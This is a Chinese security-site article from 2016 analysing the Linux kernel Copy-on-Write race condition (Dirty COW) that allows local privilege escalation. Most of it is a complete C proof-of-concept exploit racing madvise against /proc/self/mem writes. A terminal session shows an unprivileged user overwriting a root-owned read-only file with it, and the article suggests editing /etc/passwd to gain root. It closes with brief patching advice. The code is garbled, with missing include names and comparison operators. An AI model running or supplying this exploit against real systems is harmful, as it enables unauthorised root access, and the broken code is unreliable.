首页 > 安全 > 系统安全 >

浅析Linux内核通杀提权漏洞

2016-10-31

Linux内核在处理内存写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。漏洞危害:低权限用户可以利用该漏洞修改只读内存。

Linux内核在处理内存写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。漏洞危害:低权限用户可以利用该漏洞修改只读内存,进而执行任意代码获取 root 权限。影响范围:该漏洞影响所有 Linux Kernel >= 2.6.22 的版本。2.6.22 是 2007 年发布的版本,也就是说这个漏洞几乎影响 2007 以后的所有版本。漏洞测试:读取 /proc/version 来获取 LinuxKernel 版本:

➜ ~ cat /proc/version

Linuxversion 4.4.0-42-generic(buildd@lgw01-13) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.2) )#62-Ubuntu SMP Fri Oct 7 23:11:45 UTC 20164.4.0 版本的Kernel,看样子是受影响的,github 上给出了如下的 POC:

#include

#include

#include

#include

#include

void *map;

int f;

structstat st;

char*name;

void*madviseThread(void *arg) {

char *str;

str = (char *)arg;

int i, c = 0;

for (i = 0; i 100000000; i++) {

c += madvise(map, 100, MADV_DONTNEED);

}

printf("madvise %d\n", c);

}

void*procselfmemThread(void *arg) {

char *str;

str = (char *)arg;

int f = open("/proc/self/mem",O_RDWR);

int i, c = 0;

for (i = 0; i 100000000; i++) {

lseek(f, map, SEEK_SET);

c += write(f, str, strlen(str));

}

printf("procselfmem %d\n", c);

}

intmain(int argc, char *argv[]) {

if (argc 3)

return 1;

pthread_t pth1, pth2;

f = open(argv[1], O_RDONLY);

fstat(f, &st);

name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ,MAP_PRIVATE, f, 0);

printf("mmap %x\n", map);

pthread_create(&pth1, NULL,madviseThread, argv[1]);

pthread_create(&pth2, NULL,procselfmemThread, argv[2]);

pthread_join(pth1, NULL);

pthread_join(pth2, NULL);

return 0;

}这个 POC 可以利用该漏洞修改任意文件内容,看下面的测试:

➜ /tmp gcc a.c -lpthread

a.c: Infunction ‘procselfmemThread’:

a.c:28:5:warning: implicit declaration of function ‘lseek’[-Wimplicit-function-declaration]

lseek(f, map, SEEK_SET);

a.c:29:10:warning: implicit declaration of function ‘write’[-Wimplicit-function-declaration]

c += write(f, str, strlen(str));

a.c: Infunction ‘main’:

a.c:39:3:warning: implicit declaration of function ‘fstat’[-Wimplicit-function-declaration]

fstat(f, &st);调用 gcc 编译这个 payload,报了几个 warning,但还是编译成功了。

➜ /tmp su root -c 'echo 0000 > test'

Password:

➜ /tmp ls -al test

-rw-r--r--1 root root 5 Oct 16 23:52 test使用 root 权限创建一个其他用户只读的 test 文件,权限为 644,内容为 0000。

➜ /tmp id

uid=1000(Monster) gid=1000(monster) groups=1000(monster)

➜ /tmp ./a.out test 1111

mmap61222000

madvise 0

procselfmem400000000使用当前用户调用编译出的 a.out 程序把 test 文件的内容修改为 1111,经过漫长的等待以后程序终于执行完成。

➜ /tmp cat test

1111可以看到结果,test 文件的内容已经被成功修改。

这样的话,只要修改 /etc/passwd 把当前用户的 uid 改成 0 就可以作为 root 登录了。

修复方案:

更新最新 Linux Kernel 源码,并重新编译。 各大发行版也已经更新 Kernel,也可直接升级最新版本。

相关文章
最新文章
热点推荐